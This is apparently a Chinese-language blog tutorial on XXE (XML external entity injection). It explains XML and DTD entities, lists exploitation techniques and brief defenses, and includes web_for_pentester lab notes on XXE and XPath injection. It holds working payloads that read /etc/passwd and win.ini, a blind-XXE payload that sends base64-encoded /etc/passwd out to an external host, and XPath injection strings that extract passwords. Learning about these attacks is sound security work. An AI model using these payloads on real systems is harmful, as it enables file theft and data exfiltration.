【XXE学习】XML外部实体注入
一、XML外部实体注入介绍
1.1 XXE简介
XML外部实体注入(XML External Entity Injection)也就是人们(mian shi guan )常说的XXE啦,见名知意,就是对于不安全的外部实体进行处理时引发的安全漏洞
1.2 XXE可以做什么?
读取本地文件
端口探测
.....
只要权限够基本啥都能干了
1.3 XXE原理
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
xxe漏洞触发的点往往是可以上传XML文件约位置,没有对上传的XML文件进行过滤,导致可以上传恶意的XML文件。
二、XML基础知识
2.1 XML简介
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
注意:要点:libxml2.9.1及以后,默认不解析外部实体。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。
下面看一个XML文档的实例:有点类似于HTML,具体细节可以参照w3cschool的文档查看。

2.2 DTD介绍
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。
2.3 使用DTD实体攻击的方式
下面再介绍一下实体 (ENTITY)整个概念,如果需要在XML文档种频繁的使用某一条数据,我们可以预先给这个数据起一个别名,也就是一个ENTITY,之后再在文档种调用它。
DTD实体的引用有内部声明实体和外部引用实体的区别。按类型分则分为:内置实体,字符实体,通用实体,参数实体。
常见的在于参数实体和其他实体之间引用时的区别:
0x01 内部实体声明
格式为:
<!DOCTYPE 文件名 [
<!ENTITY 实体名 "实体内容">
]>
定义好的ENTITY在文档中通过“&实体名;”来使用。
例如:下面定义了一个name的实体,实体的值为Zh1z3ven,定义好了之后就可以在aaa这个文件内部通过&实体名;进行调用。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa[
<!ENTITY name "Zh1z3ven">
]>
<root>
<name>&name;</name>
上面展示的是一个内部DTD的声明,而外部的DTD实体则需要通过URL来远程调用一个.dtd文本文件,也或者可以利用file协议引用一个本地的文件;当然也支持其他的协议,不过不同的语言支持的协议不一样,可以参照下图。

0x02 外部实体调用
1.利用file协议 :
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY name SYSTEM "file:///c:/windows/win.ini" >
]>
<name>&name;</name>
2.利用http协议:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY name SYSTEM "http://127.0.0.1/123.txt" >
]>
<name>&name;</name>

3 参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "http://127.0.0.1/123.txt">
%name;
]>
例子:
XML内容:
大致逻辑是通过参数实体% name调用test.dtd之后在XML里调用dtd中的test实体来读取文件内容
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "http://127.0.0.1/test.dtd">
%name;
]>
<d>&test;</d>
DTD(test.dtd)文件内容

结果:

三 XXE利用的几种姿势
1. 利用file协议读取本地文件(如etc/passwd)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY name SYSTEM "file:///etc/passwd" >
]>
<name>&name;</name>
2.利用参数实体调用.dtd文件之后在XML里调用dtd中的声明的实体来读取文件内容
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "http://127.0.0.1/test.dtd">
%name;
]>
<d>&test;</d>
test.dtd内容:
<!ENTITY test SYSTEM "file:///etc/passwd">
3.盲XXE思路:
(Orz这里还未自己验证,知识从网上搬运的,有环境的同学可以复现一下)
如果实战场景下XML没有回显,可以利用构造好的payload在读取存在XXE漏洞服务器文件的同时利用
php://filter将文件内容发送到攻击者服务器,那么访问服务器的web日志就可以看到此次攻击结果。
ps:首先这是一个file关键字的get参数传递,
php://是一种协议名称,php://filter/是一种访问本地文件的协议,
/read=convert.base64-encode/表示读取的方式是base64编码后,
resource=/etc/passwd表示目标文件为/etc/passwd。
这个php://filter据说经常来构造ThinkPHP的RCE漏洞 ---Orz :(
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://www.hackersb.cn/attack.dtd">
%dtd;
%mydata;
]>
这里日志获取的内容记得base64解码就好,通过看日志或者wireshark抓包都可以看到
attack.dtd内容为
<!ENTITY % all
"<!ENTITY % mydata SYSTEM "http://www.hackersb.cn/?%file">"
>
4.其他思路
既然可以使用file 那么也可以用http来造成SSRF或者利用gopher协议当然也可以探测端口等等
基本啥都能干了
四 关于XXE的防御
4.1 禁用外部实体
如PHP中的libxml_disable_entity_loader(true);
其他语言:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
4.2 过滤用户提交的XML数据
如SYSTEM或者PUBLIC以及一些协议 file等
4.3 附上写本文的参考连接
https://security.tencent.com/index.php/blog/msg/69
https://www.hackersb.cn/hacker/211.html
https://www.freebuf.com/sectool/156863.html
https://www.hackersb.cn/hacker/211.html
https://thief.one/2017/06/20/1/
https://github.com/CHYbeta/Web-Security-Learning#xxe
(PS:下面是做web_for_pentester时XML注入的一些笔记 懒得删了 可以直接略过 )
ENTITY实体:
如果在XML文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名。即一个ENTITY,然后再在文档中调用它。
XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种在为参数在DTD文件中使用。
ENTITY的定义语法:
<!DOCTYPE 文件名 [
<!ENTITY 实体名 "实体内容">
]>
定义好的ENTITY在文档中通过“&实体名;”来使用。
例如:定义一个name值为“Tom”,就可以在XML任何地方引用。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name "Tom" > ]>
<root>
<name>&name;</name>
</root>
正常来说,DTD分为内部DTD与外部DTD,内部DTD包含在XML文档中,外部DTD则通过URL引用.一个DTD文件是以.dtd结尾的文本文件 。前面还要加上SYSTEM,但是如果此处没有任何过滤,我们完全可以引用系统敏感文件的,前提是页面有回显,否则你只引用了文件但不知道文件内容。
例如 Linux和Windows下的读取路径不一样
//Linux下读取/etc/passwd
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name SYSTEM "file:///etc/passwd" >
]>
<name>&name;</name>
//Windows下读取C:/windows/win.ini
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name SYSTEM "file:///c:/windows/win.ini" >
]>
<name>&name;</name>
三、Example
Example1
下面先看一下后端代码:
<?php require_once("../header.php"); ?>
Hello
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
<?php require_once("../footer.php"); ?>
simplexml_load_string() 函数可以转换形式良好的XML字符串为SimpleXMLElement对象
print_r()可以把字符串和数字简单地打印出来,而数组则以括起来的键和值得列表形式显示,并以Array开头。但print_r()输出布尔值和NULL的结果没有意义,因为都是打印”\n”。因此用var_dump()函数更适合调试。打印关于变量的易于理解的信息,如果给出的是 string、integer 或 float,将打印变量值本身。如果给出的是 array,将会按照一定格式显示键和元素。object 与数组类似。 记住,print_r() 将把数组的指针移到最后边。使用 reset() 可让指针回到开始处。
利用方法
先构造基本框架 注意&name后要有;原文应该是笔误漏掉了。xml全部要写到一行里,构造好的语句需要进行URL编码
<!DOCTYPE xxx[<!ENTITY name "hacker">]><name>&name;</name>
//URL编码:
%3C!DOCTYPE%20xxx%5B%3C!ENTITY%20name%20%22hacker%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2Fname%3
尝试读取本地文件/etc/passwd
<!DOCTYPE xxx[<!ENTITY name SYSTEM "file:///etc/passwd">]><name>&name;</name> //URL编码:
%3C!DOCTYPE%20xxx%5B%3C!ENTITY%20name%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2Fname%3E

Example2
后端代码:
<?php require_once("../header.php");
$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";
$xml=simplexml_load_string($x);
$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
$res = ($xml->xpath($xpath));
while(list( ,$node) = each($res)) {
echo $node;
}
?>
<?php require_once("../footer.php"); ?>
可以看到源代码先定义了一个$x变量,里面包含了一个xml。
然后把的 XML 字符串转换为 SimpleXMLElement 对象,并赋值给$res
然后查询了users里user里的name 值为$name的,并返回其所有父节点的message里面的值。
然后执行查询,最后while循环显示查询的值。
XPath介绍:
XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。
XPath 是 W3C XSLT 标准的主要元素,并且 XQuery 和 XPointer 都构建于 XPath 表达之上。
因此,对 XPath 的理解是很多高级 XML 应用的基础。
XPath基本语法:
路径表达式 结果
bookstore 选取 bookstore 元素的所有子节点。
/bookstore 选取根元素 bookstore。
bookstore/book 选取属于 bookstore 的子元素的所有 book 元素。
//book 选取所有 book子元素,而不管它们在文档中的位置。
bookstore//book 选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置。
//@lang 选取名为 lang 的所有属性。
/表示从XML文件中的根节点开始解析
//表示在XML文件中匹配已选择的当前节点,且不考虑其位置关系XPath Axes(轴)轴可以定义当前节点的节点集,下面列举了几个常用的。
ancestor 选取当前节点的所有先辈(父、祖父等)。
ancestor-or-self 选取当前节点的所有先辈(父、祖父等)以及当前节点本身。
attribute 选取当前节点的所有属性。
child 选取当前节点的所有子元素。
descendant 选取当前节点的所有后代元素(子、孙等)。
descendant-or-self 选取当前节点的所有后代元素(子、孙等)以及当前节点本身。
following 选取文档中当前节点的结束标签之后的所有节点。
namespace 选取当前节点的所有命名空间节点。
parent 选取当前节点的父节点。
了解了轴,再来了解一下步,下面举几个例子更便于了解:
child::book 选取所有属于当前节点的子元素的 book 节点。
attribute::lang 选取当前节点的 lang 属性。
child::* 选取当前节点的所有子元素。
attribute::* 选取当前节点的所有属性。
child::text() 选取当前节点的所有文本子节点。
child::node() 选取当前节点的所有子节点。
descendant::book 选取当前节点的所有 book 后代。
ancestor::book 选择当前节点的所有 book 先辈。
ancestor-or-self::book 选取当前节点的所有 book 先辈以及当前节点(如果此节点是 book 节点)
child::*/child::price 选取当前节点的所有 price 孙节点。
最后的最后,我们尝试构造,还是注入的思路,先尝试正确闭合,然后注释掉后面没用的。
?name=hacker' or 1=1]/parent::*/child::node()%00
//%00注释掉后面的语句
// /parent::*/child::node()查看当前节点的所有父节点的子节点

?name=hacker' or 1=1]/parent::*/password%00

【XXE学习】XML外部实体注入的更多相关文章
- XXE攻防——XML外部实体注入
XXE攻防——XML外部实体注入 转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的 ...
- XXE(xml外部实体注入漏洞)
实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...
- XML外部实体注入漏洞(XXE)
转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...
- 【研究】XML外部实体注入(XXE)
在正式发布的2017 OWAST Top10榜单中,出现了三种新威胁: A4:XML外部实体注入漏洞(XXE) A8:不安全的反序列化漏洞 A10:不足的记录和监控漏洞 验证XXE: 构造请求 < ...
- CTF中关于XXE(XML外部实体注入)题目两道
题目:UNCTF-Do you like xml? 链接:http://112.74.37.15:8008/ hint:weak password (弱密码) 1.观察后下载图片拖进WINHEX发现提 ...
- XML外部实体注入[转载]
前言 对于xxe,深入的太少,一般做题也是复制payload再修改,没有了解过内部的结构规范等.这里转载了一篇先知社区的文章,排版了一下适合博客样式.文章总结的很好,结合了很多篇的博客文章,看完也是对 ...
- 微信支付的JAVA SDK存在漏洞,可导致商家服务器被入侵(绕过支付)XML外部实体注入防护
XML外部实体注入 例: InputStream is = Test01.class.getClassLoader().getResourceAsStream("evil.xml" ...
- 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析
0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...
- Pikachu-XXE(xml外部实体注入漏洞)
XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...
随机推荐
- Spring:Spring-IOC容器、DI依赖注入简介
Spring容器到底是什么? 从概念上讲:Spring 容器是 Spring 框架的核心,是用来管理对象的.容器将创建对象,把它们连接在一起,配置它们,并管理他们的整个生命周期从创建到销毁. 从具象化 ...
- MySQL中的联表查询与子查询
0.准备数据 1.内连接:INNER JOIN 2.左连接:LEFT JOIN 3.右连接:RIGHT JOIN 4.USING子句 扩展知识点: 0.表别名的使用: 1.group by的用法 2. ...
- mybatis 配置的log4j文件无效,不能正常显示日志信息
正在学习mybatis,配置好后log4j.properties文件后,日志信息不能正常显示,没有效果. 查看了一下mybatis的相关文档,在日志一栏找到问题愿意 原因是我们的mybatis选了其他 ...
- CG-CTF 480小时精通C++
一.拖入ida,看看 和之前题,有点不一样,不一样在于,这个程序相等于将没加密的字符串,直接打印出来了,但是The Encrypted is 引起了我的注意,所以我去看看有没加密函数,结果还真有,一堆 ...
- Java | 日期类型的绍介和操作
Date类 Date类在java.util.Date,Date类表示特定的瞬间,精确到毫秒.(毫秒是千分之一秒)毫秒可以对时间和日期进行计算,可以把日期转换为毫秒进行计算,计算完毕,再把毫秒转换为日期 ...
- Linux SecureCRT 终端连接密钥交换失败错误
1.故障现象: 服务器升级OpenSSH和OpenSSL后,SecureCRT无法SSH登录(CRT7.0以上版本可以正常登陆,以下版本报截图错误),但是Putty等工具可以正常登录: 报错如下: S ...
- js--ES6新特性之解构
前言 es6 中引入了解构这一新特性,了解解构成为一个格合前端必须掌握的基础知识,不仅作为了面试的重要考查知识,同时能极大提高我们平常工作的开发效率.本文来总结一下需要掌握的解构知识点. 正文 1.什 ...
- 选择适合入门的自动化测试框架TestNG 基于Java语言的入门选择之一
对于测试工程师新手来说,最痛苦的莫过于入门,其实只要入门3个月左右,对于自动化测试,所有的测试工程师除了喜爱,就是更爱.自动化测试工作,是从根本上解放人性,不用重复去完成鼠标的点点点,例如以下测试常常 ...
- P4334 [COI2007] Policija
P4334 [COI2007] Policija 题意 一个无重边的无向图,每次询问删掉一条边或删掉一个点后两个点是否联通. 思路 连通性问题,我们可以考虑使用广义圆方树解决. 对于删掉一个点的情况: ...
- 关于java.lang.IllegalMonitorStateException异常说明(四)
1.异常原因及解释 首先你要了解这个异常为什么会抛出,这个异常会在三种情况下抛出:1>当前线程不含有当前对象的锁资源的时候,调用obj.wait()方法;2>当前线程不含有当前对象的锁资源 ...